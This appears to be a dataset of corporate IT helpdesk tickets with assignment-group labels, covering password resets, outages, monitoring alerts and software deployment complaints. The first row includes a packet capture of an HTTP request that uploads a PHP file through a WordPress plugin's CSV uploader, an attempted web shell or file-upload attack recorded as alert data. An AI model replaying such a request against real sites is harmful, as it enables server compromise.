+.......w............eh...\@.1..4...#.....f.p0c.........s.1...........|..post./wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php.http/1.1..host:.www.companyipg.com..content-length:.297..accept-encoding:.gzip,.deflate..accept:.*/*..user-agent:.mozilla/5.0.(windows.nt.6.1;.rv:34.0).gecko/31211212.firefox/34.0..connection:.keep-alive..content-type:.multipart/form-data;.boundary=ba7336a47f1648dc9255eb59510e6f02....--ba7336a47f1648dc9255eb59510e6f02..content-disposition:.form-data;.name=""file"";.filename=""wp-setup.php""..content-type:.text/plain......--ba7336a47f1648dc9255eb59510e6f02--.._x000D_ +==pcap 1 ascii e==_x000D_ +_x000D_ +hex packet(s):_x000D_ +==pcap 1 hex s==_x000D_ +000000 0c00 0000 c6d6 b057 bf93 0b00 ca02 0000 .......w........_x000D_ +000010 ca02 0000 4568 02ca 115c 4000 3106 a434 ....eh...\@.1..4_x000D_ +000020 2ea1 0923 d0d3 889e ce46 0050 3043 ff92 ...#.....f.p0c.._x000D_ +000030 def9 89b5 8018 0073 0f31 0000 0101 080a .......s.1......_x000D_ +000040 10a9 eeec 007c 020b 504f 5354 202f 7770 .....|..post./wp_x000D_ +000050 2d63 6f6e 7465 6e74 2f70 6c75 6769 6e73 -content/plugins_x000D_ +000060 2f69 6e62 6f75 6e64 696f 2d6d 6172 6b65 /inboundio-markhtye_x000D_ +000070 7469 6e67 2f61 646d 696e 2f70 6172 7469 ting/admin/parti_x000D_ +000080 616c 732f 6373 765f 7570 6c6f 6164 6572 als/csv_uploader_x000D_ +000090 2e70 6870 2048 5454 502f 312e 310d 0a48 .php.http/1.1..h_x000D_ +0000a0 6f73 743a 2077 7777 2e6b 656e 6e61 6d65 ost:.www.companyme_x000D_ +0000b0 7461 6c69 7067 2e63 6f6d 0d0a 436f 6e74 talipg.com..cont_x000D_ +0000c0 656e 742d 4c65 6e67 7468 3a20 3239 370d ent-length:.297._x000D_ +0000d0 0a41 6363 6570 742d 456e 636f 6469 6e67 .accept-encoding_x000D_ +0000e0 3a20 677a 6970 2c20 6465 666c 6174 650d :.gzip,.deflate._x000D_ +0000f0 0a41 6363 6570 743a 202a 2f2a 0d0a 5573 .accept:.*/*..us_x000D_ +000100 6572 2SID_29 6765 6e74 3a20 4d6f 7a69 6c6c er-agent:.mozill_x000D_ +000110 612f 352e 3020 2857 696e 646f 7773 204e a/5.0.(windows.n_x000D_ +000120 5420 362e 313b 2072 763a 3334 2e30 2920 t.6.1;.rv:34.0)._x000D_ +000130 4765 636b 6f2f 3230 3130 3031 3031 2046 gecko/31211212.f_x000D_ +000140 6972 6566 6f78 2f33 342e 300d 0a43 6f6e irefox/34.0..con_x000D_ +000150 6e65 6374 696f 6e3a 206b 6565 702d 616c nection:.keep-al_x000D_ +000160 6976 650d 0a43 6f6e 7465 6e74 2d54 7970 ive..content-typ_x000D_ +000170 653a 206d 756c 7469 7061 7274 2f66 6f72 e:.multipart/for_x000D_ +000180 6d2d 6461 7461 3b20 626f 756e 6461 7279 m-data;.boundary_x000D_ +000190 3d62 6137 3333 3661 3437 6631 3634 3864 =ba7336a47f1648d_x000D_ +0001a0 6339 3235 3565 6235 3935 3130 6536 6630 c9255eb59510e6f0_x000D_ +0001b0 320d 0a0d 0a2d 2d62 6137 3333 3661 3437 2....--ba7336a47_x000D_ +0001c0 6631 3634 3864 6339 3235 3565 6235 3935 f1648dc9255eb595_x000D_ +0001d0 3130 6536 6630 320d 0a43 6f6e 7465 6e74 10e6f02..content_x000D_ +0001e0 2d44 6973 706f 7369 7469 6f6e 3a20 666f -disposition:.fo_x000D_ +0001f0 726d 2d64 6174 613b 206e 616d 653d 2266 rm-data;.name=""f_x000D_ +000200 696c 6522 3b20 6669 6c65 6e61 6d65 3d22 ile"";.filename=""_x000D_ +000210 7770 2d73 6574 7570 2e70 6870 220d 0a43 wp-setup.php""..c_x000D_ +000220 6f6e 7465 6e74 2d54 7970 653a 2074 6578 ontent-type:.tex_x000D_ +000230 742f 706c 6169 6e0d 0a0d 0a3c 3f70 6870 t/plain......--ba7336_x000D_ +0002c0 6134 3766 3136 3438 6463 3932 3535 6562 a47f1648dc9255eb_x000D_ +0002d0 3539 3531 3065 3666 3032 2d2d 0d0a 59510e6f02--.._x000D_ +==pcap 1 hex e==",GRP_2 +unable to connect to network printer unable to connect to network printer dv06 ,GRP_0 +"need access to exchange server on new company iphone i am being blocked from exchange activesync and need access to it. i just received a new company i6._x000D_ +_x000D_ +",GRP_0 +"HostName_480 - verify filesystem h: dsw in31864001_x000D_ +_x000D_ +event id: 67771149_x000D_ +event summary: [hw] filesystem near capacity - h:_x000D_ +source ip: 39.48.23.356_x000D_ +destination ip: _x000D_ +device ip: 39.48.23.356_x000D_ +device name: 39.48.23.356_x000D_ +event extra data:_x000D_ +inspectorruleid = 878981_x000D_ +vendorclassification = none_x000D_ +sherlockruleid = 566361_x000D_ +logformat = mswineventlog_x000D_ +windowseventid = 2013_x000D_ +srchostname = HostName_480_x000D_ +ctainstanceid = 0_x000D_ +username = n/a_x000D_ +vendorpriority = 1_x000D_ +logsource = system_x000D_ +hostname = HostName_480.company.company.com_x000D_ +type = warning_x000D_ +inspectoreventid = 529254549_x000D_ +ileatdatacenter = true_x000D_ +ontologystring = ms-system-srv-2013_x000D_ +foreseemaliciouscomment = null or empty model found_x000D_ +foreseeinternalip = 39.48.23.356_x000D_ +group = mswineventlog_x000D_ +logtimestamp = 2562437122_x000D_ +agentid = 113550_x000D_ +foreseeconndirection = internal_x000D_ +_x000D_ +",GRP_39 +"re: deployment notification | telephony_software 2016 + +received from: vetkdblx.nsuwkraj@gmail.com + +daghyunny, + +i had sent deployment notification last week with the target list. deployment was scheduled at 10:00 am in the morning, please find the attached email copy for your reference. +if you would have had any concerns in ",GRP_0 +tastatur an r246 und r247 defekt. tastatur an r246 und r247 defekt. bitte austauschen. (einzelne tasten funktionieren nicht mehr),GRP_33 +"repeat outbound connection for 135/tcp dsw ticket in33417637_x000D_ +_x000D_ +we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from edml8111119/10.16.143.221 to port 135/tcp (remote procedure call (rpc)) of external host 31.199.53.9. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_ +_x000D_ +we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +_x000D_ +1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_ +2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +",GRP_2 +"event summary: [hw] service icmp/icmp is down dsw ticket in33426117_x000D_ +_x000D_ +event id: 80657337_x000D_ +event summary: [hw] service icmp/icmp is down_x000D_ +source ip: 10.44.86.12_x000D_ +source hostname: ap-f5_x000D_ +destination hostname: _x000D_ +device ip: 10.44.86.12_x000D_ +device name: ap-f5.company.com_x000D_ +event extra data:_x000D_ +inspectorruleid = 2132464_x000D_ +sherlockruleid = 566281_x000D_ +ileatdatacenter = true_x000D_ +srchostname = ap-f5_x000D_ +foreseemaliciouscomment = null or empty model found;evaluationmodels->808333:0.5001:0.0061|ngm:0.9619:0.0008;_x000D_ +foreseeinternalip = 10.44.86.12_x000D_ +irreceivedtime = 1469623856316_x000D_ +foreseeconndirection = internal_x000D_ +inspectoreventid = 860011815_x000D_ +_x000D_ +_x000D_ +occurrence count: 1_x000D_ +event count: 1_x000D_ +_x000D_ +event detail:_x000D_ +from 46.45.62.5144 for device 10.44.86.12 summary: service icmp/icmp is down_x000D_ +detail: service check failed! (100% failures)_x000D_ +(icmp-echo) unable to ping 10.44.86.12",GRP_2 +"abended job in job_scheduler: Job_1953b received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1953b at 08/16/16 12:26:27",GRP_6 +"event summary: [hw] service icmp/icmp is down dsw ticket in33575214_x000D_ +_x000D_ +related events: _x000D_ +event id: 91538192_x000D_ +event summary: [hw] service icmp/icmp is down_x000D_ +occurrence count: 2_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 23.43.93.645_x000D_ +source hostname: HostName_67_x000D_ +connection directionality: internal_x000D_ +_x000D_ +device information_x000D_ +device ip: 23.43.93.645_x000D_ +device name: HostName_67.company.company.com_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 566281_x000D_ +inspector rule id: 2132464_x000D_ +inspector event id: 877864930_x000D_ +_x000D_ +event detail:_x000D_ +from 46.45.62.5144 for device 23.43.93.645 summary: service icmp/icmp is down_x000D_ +detail: service check failed! (100% failures)_x000D_ +(icmp-echo) unable to ping 23.43.93.645",GRP_2 +"event summary: [hw] service icmp/icmp is down dsw ticket number in33575471_x000D_ +_x000D_ +related events: _x000D_ +event id: 91530190_x000D_ +event summary: [hw] service icmp/icmp is down_x000D_ +occurrence count: 2_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 32.23.28.792_x000D_ +source hostname: HostName_68_x000D_ +connection directionality: internal_x000D_ +_x000D_ +device information_x000D_ +device ip: 32.23.28.792_x000D_ +device name: HostName_68.company.company.com_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 566281_x000D_ +inspector rule id: 2132464_x000D_ +inspector event id: 877874632_x000D_ +_x000D_ +event detail:_x000D_ +from 46.45.62.5144 for device 32.23.28.792 summary: service icmp/icmp is down_x000D_ +detail: service check failed! (100% failures)_x000D_ +(icmp-echo) unable to ping 32.23.28.792",GRP_2 +"HostName_68 near capacity - 90% dsw ticket in33575516_x000D_ +_x000D_ + related events: _x000D_ +event id: 91530665_x000D_ +event summary: [hw] filesystem near capacity - h:_x000D_ +occurrence count: 1_x000D_ +event count: 1_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 32.23.28.792_x000D_ +source hostname: HostName_68_x000D_ +connection directionality: internal_x000D_ +_x000D_ +device information_x000D_ +device ip: 32.23.28.792_x000D_ +device name: HostName_68.company.company.com_x000D_ +log time: 2016-08-11 at 21:48:46 utc_x000D_ +vendor classification: none_x000D_ +vendor priority: 1_x000D_ +windows event id: 2013_x000D_ +type: warning_x000D_ +username: n/a_x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 566279_x000D_ +inspector rule id: 2132464_x000D_ +inspector event id: 877876913_x000D_ +agent id: 107317_x000D_ +_x000D_ +event detail:_x000D_ +note: by default, this alert is generated when capacity reaches 90%. (_x000D_ +aug 11 21:48:46 32.23.28.792 mswineventlog 1 system 1103 thu aug 11 21:48:46 2016 2013 srv n/a n/a warning HostName_68.company.company.com none the h: disk is at or near capacity. you may need to delete some files. 173",GRP_39 +"audio not working +summary:sound not working on pc",GRP_0 +sep encryption set up sep encryption set up ,GRP_0 +need to change the drive name of the network drives. need to change the drive name of the network drives.,GRP_0 +system performance issue system performance issue,GRP_0 +"company email accounts from: tzrekwqf homwadbs [mailto:horst.zihrtyud@de.ibm.com] _x000D_ +sent: tuesday, august 16, 2016 6:04 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: amar fw: company email accounts_x000D_ +_x000D_ +dear support team,_x000D_ +_x000D_ +i get my company e-mail adress today for the rpo project betwenn company and ibm._x000D_ +_x000D_ +cesvpmor.azgtrbow@gmail.com_x000D_ +_x000D_ +it was a mis-typing. my last name is ""zihrtyud"". can you change this please?_x000D_ +_x000D_ +many ",GRP_2 +"network outage: russia - warehouse network is down since 10:50am et on 08/16/16 what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________10:50am et on 08/16/16______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____no______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +account to locked account to locked ,GRP_0 +unable to access ess unable to access ess,GRP_0 +"multiple issues with the company guest wifi sponsor portal we have some consultants from ca technologies visiting this week and i used the following website to provide them access to the companyguest wifi network:_x000D_ +_x000D_ +_x000D_ +i see a certificate error for this site in ie and chrome. (see attached screenshot)_x000D_ +_x000D_ +i ignored the error and logged in to create a couple of accounts yesterday._x000D_ +given that account credentials are limited to a max of 1 day, i went in today and tried to ""edit"" the accounts to change the date for today._x000D_ +everything looked okay in the web app but users were not able to login._x000D_ +_x000D_ +i even tried to reset the password for one of the users but that didn't help either._x000D_ +_x000D_ +it is cumbersome to re-type the same info and create new accounts for each day._x000D_ +it would be great if the certificate issues are taken care of and accounts could be created for multiple days( or it is easier to renew passwords)_x000D_ +",GRP_0 +"my hana will not load anymore + +received from: nkthumgf.mwgdenbs@gmail.com + +hi, +when i try to open hana now i get the follow error. please help. + +[cid:image001.png@01d1f7aa.b16c2290] + +nkthumgf mwgdenbs +nkthumgf.mwgdenbs@gmail.com +ph + + + +",GRP_0 +crm mobile app queries crm mobile app queries,GRP_0 +"re: deployment notification | telephony_software 2016 _x000D_ +_x000D_ +received from: wqfzjycu.omleknjd@gmail.com_x000D_ +_x000D_ +hi deeghyupak,_x000D_ +_x000D_ +it seems that there has been a lack of knowledge regarding this deployment of telephony_software in israel._x000D_ +_x000D_ +from the very beginning all our users apart from rabin have been working with the software in hebrew._x000D_ +_x000D_ +also i am not sure deployment on telephony_software pc's all at the same time should occur in the middle of the working day._x000D_ +_x000D_ +please let us know when you have a hebrew version available and then we can discuss the deployment._x000D_ +_x000D_ +many ",GRP_65 +"network outage: vogelfontein,south africa,sa primary circuit company_zaf_vogelfontein_mpls_ce01 is down since 10:5am et on 08/16 what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________10:5am et on 08/16______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___no______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ______global_telecom_1#000000220624227 ___________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +password reset password reset,GRP_0 +"engineering tool not work correctly and affect multiple user for pre process area engineering tool not work correctly and affect multiple user for pre process area_x000D_ +at the moment is not possible make/review cam programdntys / visualize the dwgs to make the routings and bom's and we needs review some cam files to shop floor and those issues causing stop production_x000D_ +the system work sometimes and other is not possible to connect_x000D_ +users affected = navarcm / collemc / geronca / furlaf / pintog",GRP_11 +"outlook client issue. +summary:receiving following message. +cannot start microsoft outlook. cannot open the outlook window. the set of folders cannot be opened. the information store could not be opened..... have ""restared"" computer several times, same result. help please",GRP_0 +"when working in outlook, i cannot edite the subject line of an email. i have been able to do this until today. when working in outlook, i cannot edit the subject line of an email. i have been able to do this until today.",GRP_0 +"re: deployment notification | telephony_software 2016 _x000D_ +_x000D_ +received from: vetkdblx.nsuwkraj@gmail.com_x000D_ +_x000D_ +hi daghyunny,_x000D_ +_x000D_ +there was no issue with respect to new telephony_software application and it was deployed successfully through patching_antivirus_sw. deployment was scheduled based on the os language, which in this case was english._x000D_ +since we were not supporting hebrew language in the past, we deployed english language telephony_software 2016 r2 in israel pcs._x000D_ +csr team in israel had raised a concern that they can't work without hebrew language pack as confirmed by aofnvyzt eqiyskhm. same english package of new telephony_software application is deployed successfully for the aofnvyzt eqiyskhm and he is able to work without any issues. dyxrpmwo hcljzivn local it from poland uninstalled new version of telephony_software and installed old telephony_software 4.0 on their pcs without informing us._x000D_ +_x000D_ +to fulfill local csr team requirement we can reschedule the new telephony_software application through remote deployment and hebrew language pack can be installed manually on their pcs._x000D_ +_x000D_ +",GRP_0 +"wvdxnkhf jirecvta has issues to connect company wifi network in fürth wvdxnkhf jirecvta has issues to connect company wifi network in fürth, and in the past two days his windows access gets suddenly locked. could someone please get in contact with him per cell phone +44 + +",GRP_0 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?):SID_34 + +enter user id of user having the issue: kowfthyuale + +transaction code(s) the user needs or was working with: vl02n + +describe the issue: +during pgi goods receipt eva is getting an error. i´m attaching the su53 screenshot. the sales order was manually moved to plant_263. + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user:",GRP_2 +erp SID_34 lock out. erp SID_34 lock out.,GRP_0 +password reset password reset,GRP_0 +outlook not working : crm issue outlook not working : crm issue ,GRP_0 +skype personal certificate issue skype personal certificate issue ,GRP_0 +erp SID_37 account unlock and password reset erp SID_37 account unlock and password reset,GRP_0 +"connecting drives to my computer _x000D_ +_x000D_ +received from: zxobmreq.udikorhv@gmail.com_x000D_ +_x000D_ +it,_x000D_ +connecting drives to my computer is done by it, or is there a function to connect that you can do yourself?_x000D_ +_x000D_ +ierfgayt alwjivqg needs drive – teams (\\HostName_847) (s:) connection._x000D_ +",GRP_0 +"circuit outage: usa - (company) secondary circuit company-usa-vpn-rtr is down since 9:15 am et on 08/16/16 what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________9:15 am et on 08/16/16_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____no______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"engineering_tool name:obanjrhg rnafleys +language: +browser:microsoft internet explorer +email:obanjrhg.rnafleys@gmail.com +customer number: +telephone:+44 +summary:access to the engineering_tool system",GRP_0 +"abended job in job_scheduler: SID_32hotf received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_32hotf at 08/16/16 09:33:31",GRP_1 +"this message was sent to the company quarantine database. please contact company it help desk for more information from: microsoft outlook [mailto:postmaster@company.onmicrosoft.com] _x000D_ +sent: monday, august 15, 2016 7:51 pm_x000D_ +to: vhzxkjet lkufgrhq_x000D_ +subject: notification: fw: outstanding inwarehouse_tool payment_x000D_ +_x000D_ +this message was sent to the company quarantine database. please contact company it help desk for more information. _x000D_ +",GRP_26 +"unable to connect to companysecure at usa, oh contact # +no one at the site is able to connect to companysecure",GRP_4 +"not possible to complete to do pgi for rma 7112500109- del 9168048239- td - erro cost center during the pgi transaction for rma 7112500109 - delivery 9168048239 - customer 81295213 ( robhyertyjo tadeu) and 7112500108 - delivery 9168017962- customer 81295213 ( robhyertyjo tadeu) we are facing error - cost center 1company/par001 blocked against direct postings on 16.08.2016 / cost center par001, controlling area 1company is locked for primary postings on 16.08.2016. the erp system automatically determined controlling area 1company from the company code (and business area). _x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_44 +issues with attachments on outlook issues with attachments on outlook ,GRP_0 +wnyeczkb.eqpjcukv@gmail.com password reset wnyeczkb.eqpjcukv@gmail.com password reset,GRP_0 +vpn queries vpn queries,GRP_0 +erp SID_37 password reset erp SID_37 password reset,GRP_0 +"access to engineering_tool +summary:job transfer back into markhtyeting and i am requesting access to the engineering_tool (tool performance reporting) system.",GRP_0 +call transferred to dan call transferred to dan,GRP_0 +unable to connect to the hp printer at home unable to connect to the hp printer at home,GRP_0 +"need access to benefit solver in single sign on portal user called in stating that she needs the benefit solver app in single sign on portal. +checked in ad and didn't find that particular group added to user id. please help check and do the needful. + +contact no - +user id - reddfgymos",GRP_2 +"browser issue : _x000D_ +",GRP_0 +"vip 2 - single sign on for hr_tool is not operating i cannot access hr_tool globalview for my pay check each time i go to the sso i get this message when i open the hr_tool icon_x000D_ +""sorry, your access is denied. please contact your system administrator.""_x000D_ +",GRP_0 +install ie11 \ahlqgjwx wbsfavhg install ie11 \ahlqgjwx wbsfavhg,GRP_24 +probleme mit lan \wxstfouy isjzcotm probleme mit lan \wxstfouy isjzcotm,GRP_24 +"unable to create delivery please provide the following:_x000D_ +_x000D_ +what order number? 1135584771/000020 + 5018821007/00001 + 5018981964/00001_x000D_ +_x000D_ +what material or item number? 3730375 + 7316410_x000D_ +_x000D_ +what warehouse location? plant_108_x000D_ +_x000D_ +issue description / error message? nothing happens - no message",GRP_6 +after upgrade telephony_software has dierppeared from the screen after upgrade telephony_software has dierppeared from the screen,GRP_0 +access to forecast to plan access to forecast to plan,GRP_22 +probleme mit öffnen von dokumenten im intranet mit internet explorer . \xmlbfjpg yegzbvru probleme mit öffnen von dokumenten im intranet mit internet explorer . \xmlbfjpg yegzbvru,GRP_24 +single sign on portal apps please add the purchasing production and purchasing uacyltoe hxgaycze app to qiyujevw ogadikxv's single sign on portal. she is unable to view and enter purchasing this way. she is a member of purchasing and should have access to it. ,GRP_27 +"company guest account creation request +summary:can you please help me with the company guest wifi logon info?",GRP_0 +password reset password reset,GRP_0 +"problems with accessing quote engine within company centre i logged onto to company centre_x000D_ +then searched for a part#_x000D_ +then clicked on the configure button_x000D_ +this would normally start the quote engine_x000D_ +_x000D_ +instead, receiving the following error (attached)",GRP_21 +unable to update password on password_management_tool password manager unable to update password on password_management_tool password manager,GRP_0 +"erp pw is invalid _x000D_ +_x000D_ +received from: qnzmjxsl.logsrwnb@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +pls. give me authority to reset my erp pw. ",GRP_0 +"unable to generate inwarehouse_tool as per delivery# 8057901657 unable to generate inwarehouse_tool as per delivery# 9168012768, we've got the error message ie. bapi_po_create fail: material auto extend failed, please help fix this error and advise back to us. then, we will generate tax inwarehouse_tool at our end, ",GRP_13 +"HostName_1045:(reporting_engineering_tooling - production): drive e is 88% full. reporting_tool alert: average (4 samples) disk free on e:\ is now 12%, which is below the warning threshold (15%) out of total size 350.0 gb",GRP_9 +erp SID_34 account lock out issue erp SID_34 account lock out issue ,GRP_0 +phone issues phone issues,GRP_0 +"bitte um ein ruckruf + +received from: zkgfcyvx.sgxeatyb@gmail.com + danke + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +outlook is giving stack guard error. outlook is giving stack guard error.,GRP_0 +"the excel files generated by zsSID_5800 don't open on mobile devices of sales employees see email attached for more details and contacts. check if the excel version or such can be adjusted or if there is an oss note._x000D_ +worse case we have to ""push"" mobile uers to use the reporting_tool version of open orders however opening the excel file is most likely more convenient for them.",GRP_20 +"berechtigung zeitwirtschaft av hallo herr busse,_x000D_ +_x000D_ +würden sie dies bitte via ticket an die it schicken bzw. an _x000D_ +_x000D_ +help@company.com_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +company-eu-deu-germany-e-b2-f2-press-buero-3550-access-sw01 switch is down since 6:25am on 08/16/16 company-eu-deu-germany-e-b2-f2-press-buero-3550-access-sw01 switch is down since 6:25am on 08/16/16,GRP_8 +"lean tracker error _x000D_ +_x000D_ +received from: fdmobjul.oicarvqt@gmail.com_x000D_ +_x000D_ +i am unable to add lean event in to collaboration_platform lean tracker , getting below error message._x000D_ +request you to resolve._x000D_ +_x000D_ +[cid:image001.jpg@01d1f7d9.0f9dd1a0]_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"user id locked. + +received from: utoegyqx.lhosidqg@gmail.com + +please note , ess portal access for the below specified detail is locked again. + +employee name: raghu mg +employee id: 299678542. +user name: mgr. + +the issue with this user id is it getting locked again and again. +previously also we were facing the same issue, then the user id and password has been changed and it had worked for few months. +now the issue has occurred again. +the employee is getting error message : user authentication failed. + +seek support to resolve the issue. + +",GRP_0 +"telephony_software_2016r2_installation - upgrade - does not work after two restarts - there is no application! empw8111340 a: /nt _x000D_ +_x000D_ +received from: zjcsqtdn.jikyworg@gmail.com_x000D_ +_x000D_ +mit freundlichen grüßen / with best ",GRP_65 +"receiving server error in crm _ adoption score card _x000D_ +_x000D_ +received from: qklrdoba.qxivmbts@gmail.com_x000D_ +_x000D_ +hello,_x000D_ + please find below the snap of the error which i am receiving, while accessing the adoption scorecard :_x000D_ +_x000D_ +[cid:image001.jpg@01d1f7d3.7f7e2a70]_x000D_ +_x000D_ +please do the needful._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_22 +"re: deployment notification | telephony_software 2016 _x000D_ +_x000D_ +received from: wqfzjycu.omleknjd@gmail.com_x000D_ +_x000D_ +hi deeghyupak,_x000D_ +_x000D_ +re our phone call just now please can you stop immediately the update for telephony_software our pc's are unable to run telephony_software after the update._x000D_ +_x000D_ +please see your list below_x000D_ +_x000D_ +aghl8325615_x000D_ +_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +nazarr_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications_x000D_ +_x000D_ +english_x000D_ +_x000D_ +aghw8325419_x000D_ +_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +israey_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications (64-bit)_x000D_ +_x000D_ +english_x000D_ +_x000D_ +aghw8325488_x000D_ +_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +nahumo_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications (64-bit)_x000D_ +_x000D_ +english_x000D_ +_x000D_ +aghw8325491_x000D_ +_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +tevkia_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications_x000D_ +_x000D_ +english_x000D_ +_x000D_ +aghw8325639_x000D_ +_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +pogredrty_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications_x000D_ +_x000D_ +english_x000D_ +_x000D_ +_x000D_ +these are the affected pc's with issues._x000D_ +_x000D_ +many ",GRP_33 +attendance_tool password reset request attendance_tool password reset request ,GRP_0 +"re: deployment notification | telephony_software 2016 _x000D_ +_x000D_ +received from: vetkdblx.nsuwkraj@gmail.com_x000D_ +_x000D_ +hi daghyunny,_x000D_ +_x000D_ +please find the below pcs which are installed with old telephony_software applications, when we pulled report from patching_antivirus_sw._x000D_ +_x000D_ +name_x000D_ +_x000D_ +location_x000D_ +_x000D_ +country_x000D_ +_x000D_ +user_x000D_ +_x000D_ +os name_x000D_ +_x000D_ +name_x000D_ +_x000D_ +install primary language_x000D_ +_x000D_ +os architecture_x000D_ +_x000D_ +deployment_x000D_ +_x000D_ +aghl8325615_x000D_ +_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +nazarr_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications_x000D_ +_x000D_ +english_x000D_ +_x000D_ +32-bit_x000D_ +_x000D_ +patching_antivirus_sw_x000D_ +_x000D_ +aghw8325419_x000D_ 